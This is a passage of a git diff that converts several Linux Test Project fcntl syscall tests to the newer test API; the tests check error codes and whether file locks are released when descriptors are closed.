- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) Linux Test Project, 2021
+ * Copyright (c) International Business Machines  Corp., 2001
+ * 07/2001 Ported by Wayne Boyer
  */
 
-/*
- * NAME
- *	fcntl12.c
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *	Testcase to test that fcntl() sets EMFILE for F_DUPFD command.
+ * Tests basic error handling of the fcntl syscall.
  *
- * ALGORITHM
- *	Get the size of the descriptor table of a process, by calling the
- *	getdtablesize() system call. Then attempt to use the F_DUPFD command
- *	for fcntl(), which should fail with EMFILE.
- *
- * USAGE
- *	fcntl12
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- *	NONE
+ * - EMFILE when cmd is F_DUPFD and the per-process limit on the number of open
+ *   file descriptors has been reached.
  */
 
 #include <fcntl.h>
 #include <sys/types.h>
 #include <sys/wait.h>
-#include <errno.h>
-#include "test.h"
+#include <stdlib.h>
+#include <unistd.h>
+#include "tst_test.h"
 
-char *TCID = "fcntl12";
-int TST_TOTAL = 1;
+static char fname[20] = "testfile";
+static int fd = -1, max_files;
 
-int fail;
-char fname[20];
-void setup(void);
-void cleanup(void);
-
-int main(int ac, char **av)
+static void verify_fcntl(void)
 {
-	int lc;
-
 	pid_t pid;
-	int fd, i, status, max_files;
+	int i;
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	/* check for looping state if -i option is given */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		tst_resm(TINFO, "Test for errno EMFILE");
-		fail = 0;
-
-		pid = FORK_OR_VFORK();
-		if (pid < 0) {
-			tst_brkm(TBROK | TERRNO, cleanup, "Fork failed");
-		} else if (pid == 0) {
-			max_files = getdtablesize();
-			for (i = 0; i < max_files; i++) {
-				if ((fd = open(fname, O_CREAT | O_RDONLY,
-					       0444)) == -1) {
-					break;
-				}
-			}
-
-			if (fcntl(1, F_DUPFD, 1) != -1) {
-				tst_resm(TFAIL, "fcntl failed to FAIL");
-				exit(1);
-			} else if (errno != EMFILE) {
-				tst_resm(TFAIL, "Expected EMFILE got %d",
-					 errno);
-				exit(1);
-			}
-			exit(0);
+	pid = SAFE_FORK();
+	if (pid == 0) {
+		for (i = 0; i < max_files; i++) {
+			fd = open(fname, O_CREAT | O_RDONLY, 0444);
+			if (fd == -1)
+				break;
 		}
-		waitpid(pid, &status, 0);
-		if (WEXITSTATUS(status) == 0)
-			tst_resm(TPASS, "block 1 PASSED");
-		else
-			tst_resm(TFAIL, "block 1 FAILED");
+		TST_EXP_FAIL2(fcntl(1, F_DUPFD, 1), EMFILE,
+			"fcntl(1, F_DUPFD, 1)");
 	}
-	cleanup();
-	tst_exit();
+
+	tst_reap_children();
 }
 
-void setup(void)
+static void setup(void)
 {
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	sprintf(fname, "fcnlt12.%d", getpid());
-	tst_tmpdir();
+	max_files = getdtablesize();
 }
 
-void cleanup(void)
+static void cleanup(void)
 {
-	unlink(fname);
-	tst_rmdir();
+	if (fd > -1)
+		SAFE_CLOSE(fd);
+
+	SAFE_UNLINK(fname);
 }
+
+static struct tst_test test = {
+	.forks_child = 1,
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_fcntl,
+};
diff --git a/testcases/kernel/syscalls/fcntl/fcntl13.c b/testcases/kernel/syscalls/fcntl/fcntl13.c
index dae4c37..1bc414c 100644
--- a/testcases/kernel/syscalls/fcntl/fcntl13.c
+++ b/testcases/kernel/syscalls/fcntl/fcntl13.c
@@ -1,127 +1,63 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) Linux Test Project, 2021
+ * Copyright (c) International Business Machines  Corp., 2001
+ * 07/2001 Ported by Wayne Boyer
  */
 
-/*
- * NAME
- *	fcntl13.c
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *	Testcase to test that fcntl() sets errno correctly.
+ * Tests basic error handling of the fcntl syscall.
  *
- * USAGE
- *	fcntl13
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- *	NONE
+ * - EFAULT when lock is outside your accessible address space
+ * - EINVAL when cmd argument is not recognized by this kernel
+ * - EINVAL when cmd argument is F_SETLK and flock.l_whence is not equal to
+ *   SEET_CUR,SEEK_SET,SEEK_END
+ * - EBADF when fd refers to an invalid file descriptor
  */
 
 #include <fcntl.h>
-#include <errno.h>
-#include "test.h"
+#include "tst_test.h"
 
-#define F_BADCMD 99999
+#define F_BADCMD 999
 
-char *TCID = "fcntl13";
-int TST_TOTAL = 1;
+static struct flock flock;
 
-void setup(void);
+static struct tcase {
+	int fd;
+	int cmd;
+	struct flock *flock;
+	char *desc;
+	int exp_errno;
+} tcases[] = {
+	{1, F_SETLK, NULL, "F_SETLK", EFAULT},
+	{1, F_BADCMD, &flock, "F_BADCMD", EINVAL},
+	{1, F_SETLK, &flock,  "F_SETLK", EINVAL},
+	{-1, F_GETLK, &flock, "F_GETLK", EBADF}
+};
 
-int main(int ac, char **av)
+static void verify_fcntl(unsigned int n)
 {
-	int lc;
+	struct tcase *tc = &tcases[n];
 
-	struct flock flock;
+	if (!tc->flock)
+		tc->flock = tst_get_bad_addr(NULL);
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		if (fcntl(1, F_BADCMD, 1) != -1)
-			tst_resm(TFAIL, "fcntl(2) failed to FAIL");
-		else if (errno != EINVAL)
-			tst_resm(TFAIL, "Expected EINVAL got %d", errno);
-		else
-			tst_resm(TPASS, "got EINVAL");
-
-#ifndef UCLINUX
-		if (fcntl(1, F_SETLK, (void *)-1) != -1) {
-			tst_resm(TFAIL, "F_SETLK: fcntl(2) failed to FAIL");
-		} else if (errno != EFAULT) {
-			tst_resm(TFAIL, "F_SETLK: Expected EFAULT got %d",
-				 errno);
-		} else {
-			tst_resm(TPASS, "F_SETLK: got EFAULT");
-		}
-
-		if (fcntl(1, F_SETLKW, (void *)-1) != -1) {
-			tst_resm(TFAIL, "F_SETLKW: fcntl(2) failed to FAIL");
-		} else if (errno != EFAULT) {
-			tst_resm(TFAIL, "F_SETLKW: Expected EFAULT got %d",
-				 errno);
-		} else {
-			tst_resm(TPASS, "F_SETLKW: got EFAULT");
-		}
-
-		if (fcntl(1, F_GETLK, (void *)-1) != -1) {
-			tst_resm(TFAIL, "F_GETLK: fcntl(2) failed to FAIL");
-		} else if (errno != EFAULT) {
-			tst_resm(TFAIL, "F_GETLK: Expected EFAULT got %d",
-				 errno);
-		} else {
-			tst_resm(TPASS, "F_GETLK: got EFAULT");
-		}
-
-#else
-		tst_resm(TCONF, "Skip EFAULT on uClinux");
-#endif
-		flock.l_whence = -1;
-		flock.l_type = F_WRLCK;
-		flock.l_start = 0L;
-		flock.l_len = 0L;
-
-		if (fcntl(1, F_SETLK, &flock) != -1)
-			tst_resm(TFAIL, "fcntl(2) failed to FAIL");
-		else if (errno != EINVAL)
-			tst_resm(TFAIL, "Expected EINVAL, got %d", errno);
-		else
-			tst_resm(TPASS, "got EINVAL");
-
-		if (fcntl(-1, F_GETLK, &flock) != -1)
-			tst_resm(TFAIL, "fcntl(2) failed to FAIL");
-		else if (errno != EBADF)
-			tst_resm(TFAIL, "Expected EBADF, got %d", errno);
-		else
-			tst_resm(TPASS, "got EBADFD");
-	}
-
-	tst_exit();
+	TST_EXP_FAIL2(fcntl(tc->fd, tc->cmd, tc->flock), tc->exp_errno,
+		"fcntl(%d, %s, flock)", tc->fd, tc->desc);
 }
 
-void setup(void)
+static void setup(void)
 {
-	tst_sig(NOFORK, DEF_HANDLER, NULL);
-
-	TEST_PAUSE;
+	flock.l_whence = -1;
+	flock.l_type = F_WRLCK;
+	flock.l_start = 0L;
+	flock.l_len = 0L;
 }
+
+static struct tst_test test = {
+	.setup = setup,
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = verify_fcntl,
+};
diff --git a/testcases/kernel/syscalls/fcntl/fcntl15.c b/testcases/kernel/syscalls/fcntl/fcntl15.c
index a49ead0..82dee4b 100644
--- a/testcases/kernel/syscalls/fcntl/fcntl15.c
+++ b/testcases/kernel/syscalls/fcntl/fcntl15.c
@@ -1,564 +1,199 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) Linux Test Project, 2021
+ * Copyright (c) International Business Machines  Corp., 2001
+ * 07/2001 Ported by Wayne Boyer
+ * MODIFIED: - mridge@us.ibm.com -- changed getpid to syscall(get thread ID)
+ * for unique ID on NPTL threading
  */
 
-/*
- * NAME
- *	fcntl15.c
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *	Check that file locks are removed when file closed
+ * Check that file locks are removed when a file descriptor is closed, three
+ * different tests are implemented.
  *
- * ALGORITHM
- *	Use three testcases to check removal of locks when a file is closed.
+ * Parent opens a file and duplicates the file descriptor, places locks using
+ * both file descriptors then closes one descriptor, all locks should be
+ * removed.
  *
- *	Case 1: Parent opens a file and duplicates it, places locks using
- *	both file descriptors then closes one descriptor, all locks should
- *	be removed.
+ * Open same file twice using open, place locks using both descriptors then
+ * close one descriptor, all lock should be removed.
  *
- *	Case 2: Open same file twice using(open), place locks using both
- *	descriptors then close on descriptor, locks on the file should be
- *	lost
- *
- *	Case 3: Open file twice, one by each process, set the locks and have
- *	a child check the locks. Remove the first file and have the child
- *	check the locks. Remove the first file and have child check locks
- *	again. Only locks set on first file should have been removed
- *
- * USAGE
- *	fcntl15
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- * MODIFIED: - mridge@us.ibm.com -- changed getpid to syscall(get thread ID) for unique ID on NPTL threading
- *
- * RESTRICTIONS
- *	None
+ * Open file twice, each in a different process, set the locks and the child
+ * check the locks. Close the first file descriptor and have child check locks
+ * again. Only locks set on first file descriptor should have been removed.
  */
 
 #include <signal.h>
 #include <fcntl.h>
-#include "test.h"
 #include <sys/types.h>
 #include <sys/wait.h>
-#include <sys/types.h>
 #include <sys/syscall.h>
-#include <linux/unistd.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include "tst_test.h"
+#include "lapi/syscalls.h"
 
-#define	DATA	"ABCDEFGHIJ"
-#define	DUP	0
-#define	OPEN	1
-#define	FORK_	2
+#define DATA    "ABCDEFGHIJ"
+#define DUP     0
+#define OPEN    1
+#define FORK_   2
 
-char *TCID = "fcntl15";
-int TST_TOTAL = 1;
+static char tmpname[10] = "testfile";
+static int fd[2];
 
-static int parent, child1, child2, status;
-static volatile sig_atomic_t parent_flag, child_flag, alarm_flag;
-static char tmpname[40];
-struct flock flock;
+static const struct flock lock_one = {
+	.l_type = F_WRLCK,
+	.l_whence = 0,
+	.l_start = 0L,
+	.l_len = 5L,
+};
 
-#ifdef UCLINUX
-static char *argv0;		/* set by main, passed to self_exec */
-#endif
+static const struct flock lock_two = {
+	.l_type = F_WRLCK,
+	.l_whence = 0,
+	.l_start = 5L,
+	.l_len = 5L,
+};
 
+static struct tcase {
+	int dup_flag;
+	int test_num;
+	char *dup_flag_name;
+} tcases[] = {
+	{DUP, 1, "dup"},
+	{OPEN, 2, "open"},
+	{FORK_, 3, "fork"}
+};
 
-void alarm_sig(int sig)
+static void lock_region_two(int file_flag, int file_mode)
 {
-	signal(SIGALRM, alarm_sig);
-	alarm_flag = 1;
-	if ((syscall(__NR_gettid)) == parent) {
-		tst_resm(TINFO, "Alarm caught by parent");
+	int fd;
+
+	fd = SAFE_OPEN(tmpname, file_flag, file_mode);
+
+	SAFE_FCNTL(fd, F_SETLK, &lock_two);
+
+	TST_CHECKPOINT_WAKE_AND_WAIT(1);
+
+	SAFE_CLOSE(fd);
+}
+
+static void do_test(int file_flag, int file_mode, int dup_flag)
+{
+	int ret, fd;
+
+	fd = SAFE_OPEN(tmpname, file_flag, file_mode);
+
+	if (!fcntl(fd, F_SETLK, &lock_one))
+		tst_res(TFAIL, "Succeeded to lock already locked region one");
+	else
+		tst_res(TPASS, "Failed to lock already locked region one");
+
+	if (!fcntl(fd, F_SETLK, &lock_two))
+		tst_res(TFAIL, "Succeeded to lock already locked region two");
+	else
+		tst_res(TPASS, "Failed to lock already locked region two");
+
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
+
+	if (fcntl(fd, F_SETLK, &lock_one))
+		tst_res(TFAIL | TERRNO, "Failed to lock now unlocked region one");
+	else
+		tst_res(TPASS, "Succeeded to lock now ulocked region two");
+
+	ret = fcntl(fd, F_SETLK, &lock_two);
+
+	if (dup_flag == FORK_) {
+		if (ret)
+			tst_res(TPASS, "Failed to lock already locked region two");
+		else
+			tst_res(TFAIL, "Succeeded to lock already locked region two");
 	} else {
-		tst_resm(TINFO, "Alarm caught by child");
+		if (ret)
+			tst_res(TFAIL, "Failed to lock now ulocked region two");
+		else
+			tst_res(TPASS, "Succeeded to lock now ulocked region two");
 	}
+
+	SAFE_CLOSE(fd);
+	TST_CHECKPOINT_WAKE(0);
 }
 
-void child_sig(int sig)
+static int run_test(int file_flag, int file_mode, int dup_flag)
 {
-	signal(SIGUSR1, child_sig);
-	child_flag++;
-}
+	fd[0] = SAFE_OPEN(tmpname, file_flag, file_mode);
+	SAFE_WRITE(1, fd[0], DATA, 10);
 
-void parent_sig(int sig)
-{
-	signal(SIGUSR2, parent_sig);
-	parent_flag++;
-}
-
-int dochild1(int file_flag, int file_mode)
-{
-	int fd_B;
-	sigset_t newmask, zeromask, oldmask;
-
-	if ((fd_B = open(tmpname, file_flag, file_mode)) < 0) {
-		perror("open on child1 file failed");
-		exit(1);
-	}
-
-	/* initialize lock structure for second 5 bytes of file */
-	flock.l_type = F_WRLCK;
-	flock.l_whence = 0;
-	flock.l_start = 5L;
-	flock.l_len = 5L;
-
-	/* set lock on child file descriptor */
-	if ((fcntl(fd_B, F_SETLK, &flock)) < 0) {
-		perror("child lock failed should have succeeded");
-		exit(1);
-	}
-
-	sigemptyset(&zeromask);
-	sigemptyset(&newmask);
-	sigaddset(&newmask, SIGUSR1);
-	sigaddset(&newmask, SIGUSR2);
-	sigaddset(&newmask, SIGALRM);
-	if (sigprocmask(SIG_BLOCK, &newmask, &oldmask) < 0) {
-		perror("child1 sigprocmask SIG_BLOCK fail");
-		exit(1);
-	}
-	/*
-	 * send signal to parent here to tell parent we have locked the
-	 * file, thus allowing parent to proceed
-	 */
-	if ((kill(parent, SIGUSR1)) < 0) {
-		perror("child1 signal to parent failed");
-		exit(1);
-	}
-
-	/*
-	 * set alarm to break pause if parent fails to signal then spin till
-	 * parent ready
-	 */
-	alarm(60);
-	while (parent_flag == 0 && alarm_flag == 0)
-		sigsuspend(&zeromask);
-	alarm((unsigned)0);
-	if (parent_flag != 1) {
-		perror("pause in child1 terminated without "
-		       "SIGUSR2 signal from parent");
-		exit(1);
-	}
-	parent_flag = 0;
-	alarm_flag = 0;
-	if (sigprocmask(SIG_SETMASK, &oldmask, NULL) < 0) {
-		perror("child1 sigprocmask SIG_SETMASK fail");
-		exit(1);
-	}
-
-	/* wait for child2 to complete then cleanup */
-	sleep(10);
-	close(fd_B);
-	exit(0);
-}
-
-#ifdef UCLINUX
-int uc_file_flag, uc_file_mode, uc_dup_flag;
-
-void dochild1_uc(void)
-{
-	dochild1(uc_file_flag, uc_file_mode);
-}
-
-void dochild2_uc(void)
-{
-	dochild2(uc_file_flag, uc_dup_flag);
-}
-#endif
-
-int dofork(int file_flag, int file_mode)
-{
-	/* create child process */
-	if ((child1 = FORK_OR_VFORK()) < 0) {
-		perror("Fork failure");
-		return 1;
-	}
-
-	/* child1 */
-	if (child1 == 0) {
-#ifdef UCLINUX
-		if (self_exec(argv0, "nddds", 1, file_flag, file_mode,
-			      parent, tmpname) < 0) {
-			perror("self_exec failure");
-			return 1;
+	switch (dup_flag) {
+	case FORK_:
+		if (!SAFE_FORK()) {
+			lock_region_two(file_flag, file_mode);
+			exit(0);
 		}
-#else
-		dochild1(file_flag, file_mode);
-#endif
-	} else {
-		/*
-		 * need to wait for child1 to open, and lock the area of the
-		 * file prior to continuing on from here
-		 */
-		sigset_t newmask, zeromask, oldmask;
-		sigemptyset(&zeromask);
-		sigemptyset(&newmask);
-		sigaddset(&newmask, SIGUSR1);
-		sigaddset(&newmask, SIGUSR2);
-		sigaddset(&newmask, SIGALRM);
-		if (sigprocmask(SIG_BLOCK, &newmask, &oldmask) < 0) {
-			perror("parent sigprocmask SIG_BLOCK fail");
-			exit(1);
-		}
-
-		/*
-		 * set alarm to break pause if parent fails to signal then spin till
-		 * parent ready
-		 */
-		alarm(60);
-		while (child_flag == 0 && alarm_flag == 0)
-			sigsuspend(&zeromask);
-		alarm((unsigned)0);
-		if (child_flag != 1) {
-			perror("parent paused without SIGUSR1 " "from child");
-			exit(1);
-		}
-		child_flag = 0;
-		alarm_flag = 0;
-		if (sigprocmask(SIG_SETMASK, &oldmask, NULL) < 0) {
-			perror("parent sigprocmask SIG_SETMASK fail");
-			exit(1);
-		}
+	break;
+	case OPEN:
+		fd[1] = SAFE_OPEN(tmpname, file_flag, file_mode);
+	break;
+	case DUP:
+		fd[1] = SAFE_FCNTL(fd[0], F_DUPFD, 0);
+	break;
 	}
+
+	SAFE_FCNTL(fd[0], F_SETLK, &lock_one);
+
+	// Lock region two or wait until the child locked it
+	if (dup_flag != FORK_)
+		SAFE_FCNTL(fd[1], F_SETLK, &lock_two);
+	else
+		TST_CHECKPOINT_WAIT(1);
+
+	if (!SAFE_FORK()) {
+		do_test(file_flag, file_mode, dup_flag);
+		exit(0);
+	}
+
+	TST_CHECKPOINT_WAIT(0);
+
+	tst_res(TINFO, "Closing a file descriptor in parent");
+
+	SAFE_CLOSE(fd[0]);
+
+	TST_CHECKPOINT_WAKE_AND_WAIT(0);
+
+	if (dup_flag != FORK_)
+		SAFE_CLOSE(fd[1]);
+	else
+		TST_CHECKPOINT_WAKE(1);
+
+	SAFE_UNLINK(tmpname);
 	return 0;
 }
 
-int dochild2(int file_flag, int file_mode, int dup_flag)
+static void verify_fcntl(unsigned int n)
 {
-	int fd_C;
-	sigset_t newmask, zeromask, oldmask;
+	struct tcase *tc = &tcases[n];
 
-	if ((fd_C = open(tmpname, file_flag, file_mode)) < 0) {
-		perror("open on child2 file failed");
-		exit(1);
-	}
+	tst_res(TINFO, "Running test with %s", tc->dup_flag_name);
 
-	/* initialize lock structure for first 5 bytes of file */
-	flock.l_type = F_WRLCK;
-	flock.l_whence = 0;
-	flock.l_start = 0L;
-	flock.l_len = 5L;
-
-	/* Set lock on child file descriptor */
-	if ((fcntl(fd_C, F_SETLK, &flock)) >= 0) {
-		tst_resm(TFAIL, "First child2 lock succeeded should "
-			 "have failed");
-		exit(1);
-	}
-
-	/* initialize lock structure for second 5 bytes of file */
-	flock.l_type = F_WRLCK;
-	flock.l_whence = 0;
-	flock.l_start = 5L;
-	flock.l_len = 5L;
-
-	/* set lock on child file descriptor */
-	if ((fcntl(fd_C, F_SETLK, &flock)) >= 0) {
-		tst_resm(TFAIL, "second child2 lock succeeded should have "
-			 "failed");
-		exit(1);
-	}
-
-	sigemptyset(&zeromask);
-	sigemptyset(&newmask);
-	sigaddset(&newmask, SIGUSR1);
-	sigaddset(&newmask, SIGUSR2);
-	sigaddset(&newmask, SIGALRM);
-	if (sigprocmask(SIG_BLOCK, &newmask, &oldmask) < 0) {
-		perror("child2 sigprocmask SIG_BLOCK fail");
-		exit(1);
-	}
-	/*
-	 * send signal to parent here to tell parent we have locked the
-	 * file, thus allowing parent to proceed
-	 */
-	if ((kill(parent, SIGUSR1)) < 0) {
-		perror("child2 signal to parent failed");
-		exit(1);
-	}
-
-	/*
-	 * set alarm to break pause if parent fails to signal then spin till
-	 * parent ready
-	 */
-	alarm(60);
-	while (parent_flag == 0 && alarm_flag == 0)
-		sigsuspend(&zeromask);
-	alarm((unsigned)0);
-	if (parent_flag != 1) {
-		perror("pause in child2 terminated without "
-		       "SIGUSR2 signal from parent");
-		exit(1);
-	}
-	parent_flag = 0;
-	alarm_flag = 0;
-	if (sigprocmask(SIG_SETMASK, &oldmask, NULL) < 0) {
-		perror("child2 sigprocmask SIG_SETMASK fail");
-		exit(1);
-	}
-
-	/* initialize lock structure for first 5 bytes of file */
-	flock.l_type = F_WRLCK;
-	flock.l_whence = 0;
-	flock.l_start = 0L;
-	flock.l_len = 5L;
-
-	/* set lock on child file descriptor */
-	if ((fcntl(fd_C, F_SETLK, &flock)) < 0) {
-		tst_resm(TFAIL, "third child2 lock failed should have "
-			 "succeeded");
-		exit(1);
-	}
-
-	/* Initialize lock structure for second 5 bytes of file */
-	flock.l_type = F_WRLCK;
-	flock.l_whence = 0;
-	flock.l_start = 5L;
-	flock.l_len = 5L;
-
-	/* set lock on child file descriptor */
-	if (dup_flag == FORK_) {
-		if ((fcntl(fd_C, F_SETLK, &flock)) >= 0) {
-			tst_resm(TFAIL, "fourth child2 lock succeeded "
-				 "should have failed");
-			exit(1);
-		}
-	} else {
-		if ((fcntl(fd_C, F_SETLK, &flock)) < 0) {
-			tst_resm(TFAIL, "fourth child2 lock failed "
-				 "should have succeeded");
-			exit(1);
-		}
-	}
-	close(fd_C);
-	exit(0);
+	run_test(O_CREAT | O_RDWR | O_TRUNC, 0777, tc->dup_flag);
 }
 
-void setup(void)
+static void cleanup(void)
 {
-	tst_sig(FORK, DEF_HANDLER, NULL);
+	size_t i;
 
-	TEST_PAUSE;
+	for (i = 0; i < ARRAY_SIZE(fd); i++) {
+		if (fd[i] > 0)
+			SAFE_CLOSE(fd[i]);
+	}
 }
 
-int run_test(int file_flag, int file_mode, int dup_flag)
-{
-	int fd_A, fd_B;
-	fd_B = -1;
-	sigset_t newmask, zeromask, oldmask;
-
-	/* setup to catch SIGUSR1 signal from child process */
-	if ((signal(SIGUSR1, child_sig)) == SIG_ERR) {
-		perror("Signal setup for SIGUSR1 failed");
-	}
-
-	/* setup to catch SIGUSR2 signal from parent */
-	if ((signal(SIGUSR2, parent_sig)) == SIG_ERR) {
-		perror("Signal setup for SIGUSR1 failed");
-	}
-
-	parent = syscall(__NR_gettid);
-
-	tst_tmpdir();
-	/* setup temporary file name */
-	sprintf(tmpname, "fcntl15.%d", parent);
-
-	/* initialize signal flags */
-	child_flag = parent_flag = alarm_flag = 0;
-
-	if ((fd_A = open(tmpname, file_flag, file_mode)) < 0) {
-		perror("open first parent file failed");
-		tst_rmdir();
-		return 1;
-	}
-
-	/* write some data to the file */
-	(void)write(fd_A, DATA, 10);
-
-	if (dup_flag) {
-		if (dup_flag == FORK_) {
-			dofork(file_flag, file_mode);
-		} else {
-			if ((fd_B = open(tmpname, file_flag, file_mode)) < 0) {
-				perror("open second parent file failed");
-				tst_rmdir();
-				return 1;
-			}
-		}
-	} else {
-		/* create a second file descriptor from first file */
-		if ((fd_B = fcntl(fd_A, F_DUPFD, 0)) < 0) {
-			perror("dup of second parent file failed");
-			tst_rmdir();
-			return 1;
-		}
-	}
-
-	/*
-	 * initialize lock structure for first lock on first
-	 * 5 bytes of file
-	 */
-	flock.l_type = F_WRLCK;
-	flock.l_whence = 0;
-	flock.l_start = 0L;
-	flock.l_len = 5L;
-
-	/* set lock on first file descriptor */
-	if ((fcntl(fd_A, F_SETLK, &flock)) < 0) {
-		perror("Attempt to set first parent lock failed");
-		tst_rmdir();
-		return 1;
-	}
-
-	if (dup_flag != FORK_) {
-		/* initialize lock structure for last 5 bytes of file */
-		flock.l_type = F_WRLCK;
-		flock.l_whence = 0;
-		flock.l_start = 5L;
-		flock.l_len = 5L;
-
-		/* set lock on second file descriptor */
-		if ((fcntl(fd_B, F_SETLK, &flock)) < 0) {
-			perror("Attempt to set second parent lock failed");
-			tst_rmdir();
-			return 1;
-		}
-	}
-
-	/* create child process */
-	if ((child2 = FORK_OR_VFORK()) < 0) {
-		perror("Fork failure");
-		tst_rmdir();
-		return 1;
-	} else if (child2 == 0) {	/* child */
-#ifdef UCLINUX
-		if (self_exec(argv0, "ndddds", 2, file_flag, file_mode,
-			      dup_flag, parent, tmpname) < 0)
-			tst_brkm(TBROK | TERRNO, NULL, "self_exec failed");
-#else
-		dochild2(file_flag, file_mode, dup_flag);
-#endif
-	}
-
-	/* parent */
-
-	/*
-	 * Set alarm to break pause if child fails to signal then spin till
-	 * child is ready
-	 */
-
-	sigemptyset(&zeromask);
-	sigemptyset(&newmask);
-	sigaddset(&newmask, SIGUSR1);
-	sigaddset(&newmask, SIGUSR2);
-	sigaddset(&newmask, SIGALRM);
-	if (sigprocmask(SIG_BLOCK, &newmask, &oldmask) < 0) {
-		perror("parent sigprocmask SIG_BLOCK fail");
-		exit(1);
-	}
-
-	/*
-	 * set alarm to break pause if parent fails to signal then spin till
-	 * parent ready
-	 */
-	alarm(60);
-	while (child_flag == 0 && alarm_flag == 0)
-		sigsuspend(&zeromask);
-	alarm((unsigned)0);
-	if (child_flag != 1) {
-		perror("parent paused without SIGUSR1 " "from child");
-		exit(1);
-	}
-	child_flag = 0;
-	alarm_flag = 0;
-	if (sigprocmask(SIG_SETMASK, &oldmask, NULL) < 0) {
-		perror("parent sigprocmask SIG_SETMASK fail");
-		exit(1);
-	}
-
-	/* close the first file then signal child to test locks */
-	close(fd_A);
-	if ((kill(child2, SIGUSR2)) < 0) {
-		perror("Signal to child2 failed");
-		tst_rmdir();
-		return 1;
-	}
-
-	if (dup_flag == FORK_) {
-		if ((kill(child1, SIGUSR2)) < 0) {
-			perror("Signal to child1 failed");
-			tst_rmdir();
-			return 1;
-		}
-	}
-	/* wait for child to complete then cleanup */
-	while ((wait(&status)) > 0) {
-		if (status >> 8 != 0) {
-			tst_resm(TFAIL, "Expected 0 got %d", status >> 8);
-			tst_rmdir();
-			return 1;
-		}
-	}
-	if (dup_flag != FORK_) {
-		close(fd_B);
-	}
-	unlink(tmpname);
-	tst_rmdir();
-	return 0;
-}
-
-int main(int ac, char **av)
-{
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-#ifdef UCLINUX
-	maybe_run_child(&dochild1_uc, "nddds", 1, &uc_file_flag,
-			&uc_file_mode, &parent, tmpname);
-	maybe_run_child(&dochild2_uc, "nddds", 1, &uc_file_flag,
-			&uc_file_mode, &uc_dup_flag, &parent, tmpname);
-	argv0 = av[0];
-#endif
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		if ((signal(SIGALRM, alarm_sig)) == SIG_ERR) {
-			perror("SIGALRM signal set up failed");
-			exit(1);
-		}
-
-		if (run_test(O_CREAT | O_RDWR | O_TRUNC, 0777, DUP))
-			tst_resm(TFAIL, "Test 1: test with \"dup\" FAILED");
-		else
-			tst_resm(TPASS, "Test 1: test with \"dup\" PASSED");
-
-		if (run_test(O_CREAT | O_RDWR | O_TRUNC, 0777, OPEN))
-			tst_resm(TFAIL, "Test 2: test with \"open\" FAILED");
-		else
-			tst_resm(TPASS, "Test 2: test with \"open\" PASSED");
-
-		if (run_test(O_CREAT | O_RDWR | O_TRUNC, 0777, FORK_))
-			tst_resm(TFAIL, "Test 3: test with \"fork\" FAILED");
-		else
-			tst_resm(TPASS, "Test 3: test with \"fork\" PASSED");
-	}
-	tst_exit();
-}
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.forks_child = 1,
+	.test = verify_fcntl,
+	.needs_checkpoints = 1,
+	.cleanup = cleanup,
+};
diff --git a/testcases/kernel/syscalls/fcntl/fcntl22.c b/testcases/kernel/syscalls/fcntl/fcntl22.c
index 90a6035..2e94a12 100644
--- a/testcases/kernel/syscalls/fcntl/fcntl22.c
+++ b/testcases/kernel/syscalls/fcntl/fcntl22.c
@@ -66,7 +66,7 @@
 			TEST(fcntl(file, F_SETLK, &fl));
 
 			if (TEST_RETURN != -1) {
-				tst_resm(TFAIL, "fcntl() returned %ld,"
+				tst_resm(TFAIL, "fcntl() returned %ld, "
 					 "expected -1, errno=%d", TEST_RETURN,
 					 EAGAIN);
 			} else {
diff --git a/testcases/kernel/syscalls/fcntl/fcntl29.c b/testcases/kernel/syscalls/fcntl/fcntl29.c
index 653ac22..5874764 100644
--- a/testcases/kernel/syscalls/fcntl/fcntl29.c
+++ b/testcases/kernel/syscalls/fcntl/fcntl29.c
@@ -24,7 +24,6 @@
 #include <stdio.h>
